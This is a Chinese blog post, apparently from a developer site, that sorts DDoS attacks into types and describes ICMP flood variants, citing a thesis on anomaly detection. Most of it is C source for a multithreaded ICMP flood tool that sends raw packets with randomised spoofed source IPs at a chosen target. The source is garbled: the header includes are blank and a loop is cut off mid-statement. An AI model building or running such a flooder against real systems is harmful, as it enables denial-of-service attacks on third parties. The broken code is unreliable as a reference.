声明:
该内容旨在分析网络攻击的存在形式,并不是为了鼓励大家使用文中的方式去攻击别人的计算机和网络。技术是为了造福人类的不是为了以破坏别人电脑谋取利益为出发点做违法的事情的。网络安全和文明是大家应该共同承担和维护的。
参考论文《高速复杂网络环境下异常流量检测技术研究》(解放军信息工程大学)
DDOS是指采用分布、协议的大规模Dos攻击方式,联合或控制网络上能够发动攻击的若干主机同时发动攻击,制造数以百计的数据流量流入欲攻击的目标,消耗网络带宽或者系统资源,导致目标主机服务请求极度拥塞无法提供正常的网络服务。
DDos攻击类型如下图所示:
DDoS攻击 | ||||||
洪泛攻击 | 应用服务 | 畸形包 | ||||
普通洪泛 | 链接拥塞 | 计算资源 | 存储资源 | IP碎片攻击 | ||
SYN洪泛 | ICMP洪泛 | 低率TCP | 优化ACL | CC攻击 | Email攻击 |
ICMP洪水攻击:该攻击收发是最简单、直接的方法,该方法执行就是建立多个线程向同一主机发送ICMP请求,但是本地的IP地址为伪装地址,程序仅仅发送响应不接受响应,容易造成目标主机的宕机。
ICMPFlood在Ping的基础上形成。而ICMP洪水攻击又存在三种方式:直接洪水攻击,伪装IP攻击以及反射攻击(不直接攻击主机而是让其他主机误认为目标主机在发送ICMP请求包)。
反射攻击模型如下图:
代码如下(该部分代码有部分还需要调试,请不要用于非法目的)
#include
#include
#include
#include
#include
//#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX 128 //static in_addr_t dest; static unsigned long dest; static int sockfd; void dos_sig(); void dos_fun(); void dos_icmp(); unsigned long myrandom(int,int); static int alive=-1; int main(int argc,char **argv) { struct hostent *host=NULL; struct protoent *protocol=NULL; char protoname[]="icmp"; int i; pthread_t pthread[MAX]; int err=-1; int sockfd; if(argc<2) { printf("Usage:
\n"); return -1; } protocol=getprotobyname(protoname); if(protocol==NULL) { perror("getprotobyname()"); return -1; } dest=inet_addr(argv[1]); if(dest==INADDR_NONE) { host=gethostbyname(argv[1]); if(host==NULL) { perror("gethostbyname()"); return -1; } memcpy((char*)dest,host->h_addr,host->h_length); } sockfd=socket(AF_INET,SOCK_RAW,0); if(sockfd<0) sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP); setsockopt(sockfd,SOL_IP,IP_HDRINCL,"1",sizeof("1")); for(i=0;i
ip_v=4; pip->ip_hl=5; pip->ip_tos=0; pip->ip_len=htons(paklen); pip->ip_id=htons(getpid()); pip->ip_off=0; pip->ip_ttl=0x0; pip->ip_p=IPPROTO_ICMP; pip->ip_sum=0; mydest=myrandom(0,65535); paddr1=(struct in_addr*)&mydest; pip->ip_src=*paddr1; paddr2=(struct in_addr*)&dest; pip->ip_dst=*paddr2; picmp->icmp_type=IPPORT_ECHO; picmp->icmp_code=0; picmp->icmp_cksum=htons(~(IPPORT_ECHO<<8)); addr.sin_family=AF_INET; addr.sin_addr=pip->ip_dst; addr.sin_port=htons(0); sendto(sockfd,packet,paklen,0,(struct sockaddr*)&addr,sizeof(struct sockaddr)); printf("攻击IP:%s\n",inet_ntoa(addr.sin_addr)); printf("源IP:%s\n",inet_ntoa(pip->ip_src)); free(packet); } unsigned long myrandom(int begin,int end) { int betw=end-begin+1; int ret=0; srand((unsigned)time(0)); ret=random()%betw+begin; return ret; }
版权声明:本文为zy627836411原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。